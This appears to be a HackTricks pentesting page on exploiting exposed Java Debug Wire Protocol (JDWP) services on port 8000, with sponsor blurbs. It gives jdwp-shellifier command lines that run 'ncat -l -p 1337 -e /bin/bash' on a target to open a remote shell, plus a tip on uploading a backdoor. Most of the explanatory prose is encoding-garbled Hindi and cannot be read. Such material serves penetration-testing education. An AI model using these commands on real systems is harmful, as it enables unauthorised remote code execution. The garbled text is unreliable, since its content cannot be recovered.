hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

11 KiB

Pentesting JDWP - Java Debug Wire Protocol

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

рдХрдордЬреЛрд░реА рдореВрд▓реНрдпрд╛рдВрдХрди рдФрд░ рдкреЗрдирд┐рдЯреНрд░реЗрд╢рди рдЯреЗрд╕реНрдЯрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рддреБрд░рдВрдд рдЙрдкрд▓рдмреНрдз рд╕реЗрдЯрдЕрдкред 20+ рдЙрдкрдХрд░рдгреЛрдВ рдФрд░ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдХрд╣реАрдВ рд╕реЗ рднреА рдПрдХ рдкреВрд░реНрдг рдкреЗрдВрдЯреЗрд╕реНрдЯ рдЪрд▓рд╛рдПрдБ рдЬреЛ рдкреБрдирдГ рдЦреЛрдЬ рд╕реЗ рд░рд┐рдкреЛрд░реНрдЯрд┐рдВрдЧ рддрдХ рдЬрд╛рддреЗ рд╣реИрдВред рд╣рдо рдкреЗрдВрдЯреЗрд╕реНрдЯрд░реНрд╕ рдХрд╛ рд╕реНрдерд╛рди рдирд╣реАрдВ рд▓реЗрддреЗ - рд╣рдо рдХрд╕реНрдЯрдо рдЙрдкрдХрд░рдг, рдкрд╣рдЪрд╛рди рдФрд░ рд╢реЛрд╖рдг рдореЙрдбреНрдпреВрд▓ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЦреБрджрд╛рдИ рдХрд░рдиреЗ, рд╢реЗрд▓ рдкреЙрдк рдХрд░рдиреЗ рдФрд░ рдордЬрд╝реЗ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╕рдордп рд╡рд╛рдкрд╕ рдорд┐рд▓ рд╕рдХреЗред

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Exploiting

JDWP рд╢реЛрд╖рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреА рдХрдореА рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдкреЛрд░реНрдЯ 8000 рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдиреНрдп рдкреЛрд░реНрдЯ рднреА рд╕рдВрднрд╡ рд╣реИрдВред рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдХрдиреЗрдХреНрд╢рди рд▓рдХреНрд╖реНрдп рдкреЛрд░реНрдЯ рдкрд░ "JDWP-Handshake" рднреЗрдЬрдХрд░ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдПрдХ JDWP рд╕реЗрд╡рд╛ рд╕рдХреНрд░рд┐рдп рд╣реИ, рддреЛ рдпрд╣ рдЙрд╕реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддреА рд╣реИ, рдЗрд╕рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рддреА рд╣реИред рдпрд╣ рд╣реИрдВрдбрд╢реЗрдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ JDWP рд╕реЗрд╡рд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рдПрдХ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯрд┐рдВрдЧ рд╡рд┐рдзрд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред

рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд╣рдЪрд╛рди рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, Java рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ "jdwk" рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреА рдЦреЛрдЬ рдПрдХ рд╕рдХреНрд░рд┐рдп JDWP рд╕рддреНрд░ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИред

рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдЙрдкрдХрд░рдг jdwp-shellifier рд╣реИред рдЖрдк рдЗрд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

I found that the use of --break-on 'java.lang.String.indexOf' make the exploit more stable. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.

More details

рдпрд╣ https://ioactive.com/hacking-java-debug-wire-protocol-or-how/ рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИред рдЖрдЧреЗ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рджреЗрдЦреЗрдВред

  1. JDWP Overview:
  • рдпрд╣ рдПрдХ рдкреИрдХреЗрдЯ-рдЖрдзрд╛рд░рд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдмрд╛рдЗрдирд░реА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ, рдЬреЛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╕рдордХрд╛рд▓рд┐рдХ рд╣реИред
  • рдЗрд╕рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреА рдХрдореА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рд╢рддреНрд░реБрддрд╛рдкреВрд░реНрдг рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рд╛рдордиреЗ рдХрдордЬреЛрд░ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
  1. JDWP Handshake:
  • рд╕рдВрдЪрд╛рд░ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд░рд▓ рд╣реИрдВрдбрд╢реЗрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ 14-рдЪрд░ ASCII рд╕реНрдЯреНрд░рд┐рдВрдЧ тАЬJDWP-HandshakeтАЭ рдбрд┐рдмрдЧрд░ (рдХреНрд▓рд╛рдЗрдВрдЯ) рдФрд░ рдбрд┐рдмрдЧреА (рд╕рд░реНрд╡рд░) рдХреЗ рдмреАрдЪ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред
  1. JDWP Communication:
  • рд╕рдВрджреЗрд╢реЛрдВ рдХреА рдПрдХ рд╕рд░рд▓ рд╕рдВрд░рдЪрдирд╛ рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ Length, Id, Flag, рдФрд░ CommandSet рдЬреИрд╕реЗ рдлрд╝реАрд▓реНрдб рд╣реЛрддреЗ рд╣реИрдВред
  • CommandSet рдорд╛рди 0x40 рд╕реЗ 0x80 рдХреЗ рдмреАрдЪ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдХреНрд░рд┐рдпрд╛рдУрдВ рдФрд░ рдШрдЯрдирд╛рдУрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВред
  1. Exploitation:
  • JDWP рдордирдорд╛рдиреЗ рд╡рд░реНрдЧреЛрдВ рдФрд░ рдмрд╛рдЗрдЯрдХреЛрдб рдХреЛ рд▓реЛрдб рдФрд░ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░рддрд╛ рд╣реИред
  • рд▓реЗрдЦ рдореЗрдВ рдкрд╛рдВрдЪ рдЪрд░рдгреЛрдВ рдореЗрдВ рдПрдХ рд╢реЛрд╖рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рд╡рд┐рд╡рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ Java Runtime рд╕рдВрджрд░реНрднреЛрдВ рдХреЛ рд▓рд╛рдирд╛, рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ рд╕реЗрдЯ рдХрд░рдирд╛, рдФрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред
  1. Real-Life Exploitation:
  • рд╕рдВрднрд╛рд╡рд┐рдд рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд╡рдЬреВрдж, JDWP рд╕реЗрд╡рд╛рдПрдБ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдХреЗ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдЦреЛрдЬреА рдФрд░ рд╢реЛрд╖рд┐рдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдЬреИрд╕рд╛ рдХрд┐ ShodanHQ рдФрд░ GitHub рдЬреИрд╕реЗ рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдкрд░ рдЦреЛрдЬреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
  • рд╢реЛрд╖рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╡рд┐рднрд┐рдиреНрди JDK рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдпрд╣ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо-рд╕реНрд╡рддрдВрддреНрд░ рд╣реИ, рдЬреЛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди (RCE) рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред
  1. Security Implications:
  • рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреБрд▓реЗ JDWP рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдирд┐рдпрдорд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рд╕рдореАрдХреНрд╖рд╛рдУрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддреА рд╣реИ, рдЙрддреНрдкрд╛рджрди рдореЗрдВ рдбрд┐рдмрдЧ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рдмрдВрдж рдХрд░рдирд╛, рдФрд░ рдЙрдЪрд┐рдд рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рдиред

References:

Instantly available setup for vulnerability assessment & penetration testing. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}